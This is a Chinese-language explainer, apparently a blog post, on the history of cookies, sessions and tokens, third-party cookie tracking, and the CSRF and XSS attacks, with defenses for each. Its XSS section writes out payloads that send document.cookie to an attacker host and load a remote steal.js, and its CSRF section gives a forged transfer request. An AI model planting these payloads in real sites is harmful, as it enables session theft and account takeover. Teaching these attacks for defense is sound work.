COOKIE历史中的发展

2021-03-10 本文已影响0人叫我汪汪

COOKIE

目前主流的各种web应用中，大都是基于http协议进行传输的。而http协议有一个很重要的特点就是无状态，也就是说我们发送一个请求，服务器接收到你的请求后是无法知道你是谁，那时候的web只能用作资源获取。

94年的时候，网景公司（没错，就是那个发明JS的公司）为了解决用户网上购物的购物车功能，首先提出并应用了cookie技术。解决http无状态的特性下无法满足交互式web。

cookie说到底其实就是一段储存在浏览器的数据，最大不能超过4kb，会随着用户请求一并发送至服务器，这样就达到了保持用户登录状态的初衷。

首次：浏览器发送请求—>服务器接受并返回一个带有Set-Cookie头部参数的响应—>浏览器保存cookie到本地。
往后：浏览器发送带有cookie的请求—>服务器接受并认出你，然后返回响应

SESSION

一开始的时候，当我们做登录操作，一般都是将用户名和密码保存到cookie中，这样再次请求的时候浏览器直接将带有用户名密码的cookie发送到服务端验证，即使浏览器会对cookie进行本地加密，但是这样还是极度危险的。

为了更加安全地管理用户会话。session应运而生。session是基于cookie，在服务器储存的一个对象，session原理如下：

首次：浏览器发送请求—>服务器接受并生成session对象，然后返回一个带有Set-Cookie为sessionID的头部参数的响应—>浏览器保存cookie到本地。
往后：浏览器发送带有cookie（内含sessionID）的请求—>服务器接受并在session对象中找到并认出你，然后返回响应

TOKEN

后来的后来啊，web应用火起来了，前端做的东西复杂化，后端不能再一把梭了，或前后端代码分别跑在不同的服务下了，就开始了前后端分离。这时候做登录操作最方便的方法就是前端发送一个登录请求，后端生成一个加密鉴权码返回给你也就是token，用来区分你和其他用户，下次的请求前端就在请求头带上这个token，服务器就能认出你了。

聊聊第三方COOKIE和广告

平常我们访问一个网站，随着请求携带着只属于当前访问网站而不是其他网站的cookie，这是由于同源策略的关系，叫做第一方cookie。

同源策略：
本质上是限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互，
如果两个页面的协议，端口和域名都相同，则两个页面具有相同的源。
跨域资源的引入不受限制，例如<script>，<img>，<iframe>等...

但是，我们在日常网上冲浪时候，经常出现下面的一个场景，咦？为什么我最近在某宝或者某度上搜索过的东西会出现在这个完全不相关的网页里，而且到处都是（尤其只靠广告活着的PC资源类网站）。这就是基于第三方cookie的广告营销。那么是怎么做到的呢？

广告营销

根据同源策略，一般我们是没办法在一个网站上请求异域站点的资源的，但是浏览器实现上，<script> <img> <iframe>标签均可以发送跨域请求。假设我页面上创建一个<iframe>指向 www.baidu.com ，那么这个iframe请求就会带上 www.baidu.com 这个域名下的cookie。如果正好你百度过【xx】，那么百度会在你搜索的时候给你种下一个属于百度的cookie用来标识你是搜索过【xx】的，这个cookie会随着iframe请求一并发送，这样子百度就知道你是谁了，然后进行精准的广告推送并显示在这个<iframe>里。这就实现了上面所说的广告营销。

不过第三方cookie也是有好处的，可以很方便地作共享登录，如一站登录，其他兄弟站都自动拥有登录态。但是历史告诉我们，弊大于利，这严重导致用户被追踪、CSRF和XSS攻击等。谷歌已经宣布淘汰第三方cookie，不出意外其他厂商都会跟进。

CSRF（跨站请求伪造攻击）

和广告营销类似，利用<script> <img> <iframe>发出资源请求指向 www.baidu.com/api/money/send?to=peal&amount=1000 ，假设这个api存在并且你在百度登录过，那么属于百度的第三方cookie就会被一并发送，服务器以为是用户发的请求，导致严重的漏洞，造成财产损失。这就是Cross-site request forgery（跨站请求伪造）攻击。造成CSRF的根源是浏览器的第三方cookie策略。

CSRF

防御的方法：使用POST请求、设置cookie的SameSite属性、生成随机令牌、生成动态验证码等

XSS（跨站脚本注入）

类似于sql注入，本质上就是恶意注入html代码到网页中，注入成功后可以取得页面最高控制权，可以做到一切事情。假设现在微博我成功发了一条微博，微博里包含一条恶意代码<script>alert('1')</script>，微博前端使用$('body').append('<script>alert('1')</script>') 将你的页面插入到页面中，这时候凡是浏览到你这条微博的人都会弹窗。

XSS

上面的其实只是恶作剧，破坏性不大，最多降低体验。现在假设我注入的是<script>$.ajax("https://api.peal.cc/steal?c=" + document.cookie)</script>，那么就直接调起了一个用户请求，用户在微博的所有cookie就全部被发送到攻击者指定的服务器下，攻击者拿到cookie等于是直接拥有你账号的控制权了。

XSS

更甚的注入<script src="https://api.peal.cc/steal.js"></script>，这个来自于攻击者的js就会运行在你的浏览器端，攻击者可以随时变着法的看你、干扰你、偷你。

防御的方法：web端表单过滤（边角替换全角）—>服务端表单检查过滤—>web端输出编码，另外也可以cookie设置httpOnly防止cookie被窃取。